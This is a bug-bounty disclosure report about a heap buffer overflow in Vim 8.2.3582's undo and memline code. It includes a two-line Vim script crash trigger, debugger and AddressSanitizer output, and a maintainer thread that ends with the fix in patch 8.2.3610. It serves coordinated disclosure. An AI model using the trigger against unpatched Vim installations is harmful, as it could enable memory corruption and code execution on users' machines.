Heap-based Buffer Overflow in vim/vim

Valid

Reported on

Nov 7th 2021


Description

Team, trust you are doing well. As part of continues fuzzing VIM v8.2.3582 (15d9890eee53afc61eb0a03b878a19cb5672f732) in persistence mode, I found a heap use-after-free ml_append_int.

Proof of Concept

Affected version: v8.2.3582

Tested on: Linux s157903 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Nov  7 2021 12:23:34)
Included patches: 1-3582
Compiled by dhiraj@zero
Huge version with GTK3 GUI.  Features included (+) or not (-):
+acl               +file_in_path      +mouse_urxvt       -tag_any_white
+arabic            +find_in_path      +mouse_xterm       -tcl
+autocmd           +float             +multi_byte        +termguicolors
+autochdir         +folding           +multi_lang        +terminal
-autoservername    -footer            -mzscheme          +terminfo
+balloon_eval      +fork()            +netbeans_intg     +termresponse
+balloon_eval_term +gettext           +num64             +textobjects
+browse            -hangul_input      +packages          +textprop
++builtin_terms    +iconv             +path_extra        +timers
+byte_offset       +insert_expand     -perl              +title
+channel           +ipv6              +persistent_undo   +toolbar
+cindent           +job               +popupwin          +user_commands
+clientserver      +jumplist          +postscript        +vartabs
+clipboard         +keymap            +printer           +vertsplit
+cmdline_compl     +lambda            +profile           +virtualedit
+cmdline_hist      +langmap           -python            +visual
+cmdline_info      +libcall           -python3           +visualextra
+comments          +linebreak         +quickfix          +viminfo
+conceal           +lispindent        +reltime           +vreplace
+cryptv            +listcmds          +rightleft         +wildignore
+cscope            +localmap          -ruby              +wildmenu
+cursorbind        -lua               +scrollbind        +windows
+cursorshape       +menu              +signs             +writebackup
+dialog_con_gui    +mksession         +smartindent       +X11
+diff              +modify_fname      -sodium            -xfontset
+digraphs          +mouse             -sound             +xim
+dnd               +mouseshape        +spell             -xpm
-ebcdic            +mouse_dec         +startuptime       +xsmp_interact
+emacs_tags        -mouse_gpm         +statusline        +xterm_clipboard
+eval              -mouse_jsbterm     -sun_workshop      -xterm_save
+ex_extra          +mouse_netterm     +syntax            
+extra_search      +mouse_sgr         +tag_binary        
-farsi             -mouse_sysmouse    -tag_old_static    
   system vimrc file: "$VIM/vimrc"
     user vimrc file: "$HOME/.vimrc"
 2nd user vimrc file: "~/.vim/vimrc"
      user exrc file: "$HOME/.exrc"
  system gvimrc file: "$VIM/gvimrc"
    user gvimrc file: "$HOME/.gvimrc"
2nd user gvimrc file: "~/.vim/gvimrc"
       defaults file: "$VIMRUNTIME/defaults.vim"
    system menu file: "$VIMRUNTIME/menu.vim"
  fall-back for $VIM: "/usr/local/share/vim"
Compilation: gcc-c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK -pthread -I/usr/include/gtk-3.0 -I/usr/include/at-spi2-atk/2.0 -I/usr/include/at-spi-2.0 -I/usr/include/dbus-1.0 -I/usr/lib/x86_64-linux-gnu/dbus-1.0/include -I/usr/include/gtk-3.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/harfbuzz -I/usr/include/pango-1.0 -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng16 -I/usr/include/freetype2 -I/usr/include/libpng16 -I/usr/include/gdk-pixbuf-2.0 -I/usr/include/libpng16 -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -g -O2 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1 
Linking: gcc -L/usr/local/lib -Wl,--as-needed -o vim -lgtk-3 -lgdk-3 -lpangocairo-1.0 -lpango-1.0 -latk-1.0 -lcairo-gobject -lcairo -lgdk_pixbuf-2.0 -lgio-2.0 -lgobject-2.0 -lglib-2.0 -lSM -lICE -lXt -lX11 -lXdmcp -lSM -lICE -lm -ltinfo -lelf -ldl 

Command:

$ ./vim -U NONE -X -Z -e -s -S poc -c qa
Segmentation fault

BT:

(gdb) r -u NONE -e -s -S poc -c qa
Starting program: /home/fuzzing/vim/src/vim -u NONE -e -s -S poc -c qa
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
__memmove_ssse3 () at ../sysdeps/x86_64/multiarch/memcpy-ssse3.S:2839
2839    ../sysdeps/x86_64/multiarch/memcpy-ssse3.S: No such file or directory.
(gdb) bt
#0  0x00007ffff4b208b6 in __memmove_ssse3 () at ../sysdeps/x86_64/multiarch/memcpy-ssse3.S:2839
#1  0x0000000000645ea0 in ml_append_int (buf=<optimized out>, lnum=<optimized out>, line_arg=<optimized out>, len_arg=<optimized out>, flags=10) at memline.c:2890
#2  0x00000000006386ad in ml_flush_line (buf=0xf47240) at memline.c:4050
#3  0x000000000064272b in ml_delete_flags (lnum=1, flags=2) at memline.c:3817
#4  0x000000000090b7af in u_undoredo (undo=0) at undo.c:2797
#5  0x0000000000909865 in u_doit (startcount=1) at undo.c:2292
#6  0x00000000006960fe in nv_kundo (cap=<optimized out>) at normal.c:4944
#7  0x00000000006960fe in nv_undo (cap=0x7fffffffab88) at normal.c:4926
#8  0x000000000068201e in normal_cmd (oap=0x7fffffffac18, toplevel=1) at normal.c:1100
#9  0x00000000005419fd in exec_normal (was_typed=0, use_vpeekc=0, may_use_terminal_loop=0) at ex_docmd.c:8559
#10 0x000000000054158e in exec_normal_cmd (cmd=<optimized out>, remap=<optimized out>, silent=0) at ex_docmd.c:8549
#11 0x000000000054158e in ex_normal (eap=0x7fffffffae10) at ex_docmd.c:8467
#12 0x000000000052da47 in do_one_cmd (flags=<optimized out>, cstack=<optimized out>, cmdlinep=<optimized out>, fgetline=<optimized out>, cookie=<optimized out>) at ex_docmd.c:2614
#13 0x000000000052da47 in do_cmdline (cmdline=<optimized out>, fgetline=<optimized out>, cookie=0x7fffffffb780, flags=7) at ex_docmd.c:1000
#14 0x000000000041ec5d in apply_autocmds_group (event=<optimized out>, fname=<optimized out>, fname_io=0xf47240 "\003", force=<optimized out>, group=-3, buf=0xf47240, eap=0x0) at autocmd.c:2170
#15 0x000000000042021f in apply_autocmds (event=16310144, fname=0xf8df81 "", fname_io=0x7ffcf6ee <error: Cannot access memory at address 0x7ffcf6ee>, force=6291456, buf=0x1) at autocmd.c:1668
#16 0x00000000008069cd in do_source (fname=0xf52033 "poc", check_other=0, is_vimrc=0, ret_sid=0x0) at scriptfile.c:1509
#17 0x0000000000804bc7 in cmd_source (fname=0xf52033 "poc", eap=<optimized out>) at scriptfile.c:971
#18 0x0000000000804994 in ex_source (eap=0x7fffffffba40) at scriptfile.c:997
#19 0x000000000052da47 in do_one_cmd (flags=<optimized out>, cstack=<optimized out>, cmdlinep=<optimized out>, fgetline=<optimized out>, cookie=<optimized out>) at ex_docmd.c:2614
#20 0x000000000052da47 in do_cmdline (cmdline=<optimized out>, fgetline=<optimized out>, cookie=0x0, flags=11) at ex_docmd.c:1000
#21 0x0000000000a52f0a in exe_commands (parmp=<optimized out>) at main.c:3081
#22 0x0000000000a52f0a in vim_main2 () at main.c:773
#23 0x0000000000a503a4 in main (argc=<optimized out>, argv=<optimized out>) at main.c:425
(gdb) i r
rax            0xf5e6ed 16115437
rbx            0x7fffffff   2147483647
rcx            0x600000 6291456
rdx            0x7ffcf6ee   2147284718
rsi            0xf8df81 16310145
rdi            0xf8df80 16310144
rbp            0x0  0x0
rsp            0x7fffffffa6f8   0x7fffffffa6f8
r8             0xf5e6ed 16115437
r9             0x1  1
r10            0xf5d6f0 16111344
r11            0x7ffff4b6c020   140737299005472
r12            0x2  2
r13            0xf5d6f0 16111344
r14            0xffffffffffffff90   -112
r15            0x1  1
rip            0x7ffff4b208b6   0x7ffff4b208b6 <__memmove_ssse3+10326>
eflags         0x10206  [ PF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb)

ASAN:

==28687==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000016500 at pc 0x0000004e732d bp 0x7fffffff8d70 sp 0x7fffffff8520
READ of size 2147479553 at 0x621000016500 thread T0
    #0 0x4e732c in __asan_memmove (/vim/src/vim+0x4e732c)
    #1 0x9078ae in ml_append_int /vim/src/memline.c:2890:6
    #2 0x8ee500 in ml_flush_line /vim/src/memline.c:4050:9
    #3 0x901380 in ml_delete_flags /vim/src/memline.c:3817:5
    #4 0xdceee8 in u_undoredo /vim/src/undo.c:2797:3
    #5 0xdcbb12 in u_doit /vim/src/undo.c:2292:6
    #6 0x9ab79a in nv_undo /vim/src/normal.c:4944:2
    #7 0x979f18 in normal_cmd /vim/src/normal.c:1100:5
    #8 0x751a5b in exec_normal /vim/src/ex_docmd.c
    #9 0x750bc4 in exec_normal_cmd /vim/src/ex_docmd.c:8549:5
    #10 0x750bc4 in ex_normal /vim/src/ex_docmd.c:8467
    #11 0x728311 in do_one_cmd /vim/src/ex_docmd.c:2614:2
    #12 0x728311 in do_cmdline /vim/src/ex_docmd.c:1000
    #13 0x539149 in apply_autocmds_group /vim/src/autocmd.c:2170:2
    #14 0x53c29e in apply_autocmds /vim/src/autocmd.c:1668:12
    #15 0xbf554c in do_source /vim/src/scriptfile.c:1509:2
    #16 0xbf230e in cmd_source /vim/src/scriptfile.c:971:14
    #17 0xbf1fde in ex_source /vim/src/scriptfile.c:997:2
    #18 0x728311 in do_one_cmd /vim/src/ex_docmd.c:2614:2
    #19 0x728311 in do_cmdline /vim/src/ex_docmd.c:1000
    #20 0x103e1c4 in exe_commands /vim/src/main.c:3081:2
    #21 0x103e1c4 in vim_main2 /vim/src/main.c:773
    #22 0x1039e39 in main /vim/src/main.c:425:12
    #23 0x7ffff4391bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
    #24 0x427c89 in _start (/vim/src/vim+0x427c89)

0x621000016500 is located 0 bytes to the right of 4096-byte region [0x621000015500,0x621000016500)
allocated by thread T0 here:
    #0 0x4e7b40 in __interceptor_malloc (/vim/src/vim+0x4e7b40)
    #1 0x5205bc in lalloc /vim/src/alloc.c:244:11

SUMMARY: AddressSanitizer: heap-buffer-overflow (/vim/src/vim+0x4e732c) in __asan_memmove
Shadow bytes around the buggy address:
  0x0c427fffac50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffac60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffac70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffac80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffac90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffaca0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffacb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffacc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffacd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427ffface0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffacf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28687==ABORTING

Testcase:

au!* * norm0u
sil!norm^V

Impact

A successful exploitation may lead to code execution.

We are processing your report and will contact the vim team within 24 hours. 8 months ago
Dhiraj Mishra modified the report
8 months ago
We have contacted a member of the vim team and are waiting to hear back 8 months ago
We have sent a follow up to the vim team. We will try again in 7 days. 8 months ago
Bram Moolenaar
8 months ago

Sorry for the delay, I was busy with other things. The problem was obscured by another problem, fixed by patch 8.2.3609. Now I can reproduce the problem reported here with valgrind.

Bram Moolenaar validated this vulnerability 8 months ago
Dhiraj Mishra has been awarded the disclosure bounty
The fix bounty is now up for grabs
Bram Moolenaar
8 months ago

This should be fixed by patch 8.2.3610, please check.

Dhiraj Mishra
8 months ago

Researcher


Thank you Bram, this is fixed in 8.2.3610.

Bram Moolenaar confirmed that a fix has been merged on a06200 8 months ago
Bram Moolenaar has been awarded the fix bounty
Jamie Slome
8 months ago

Admin


CVE published! 🎊

Jamie Slome
7 months ago

Admin


@rootup 👋 it looks like a bug on our side caused the disclosure bounty to be set to $355. We have reset it to the value displayed at disclosure ($200). Apologies for the confusion or inconvenience.

to join this conversation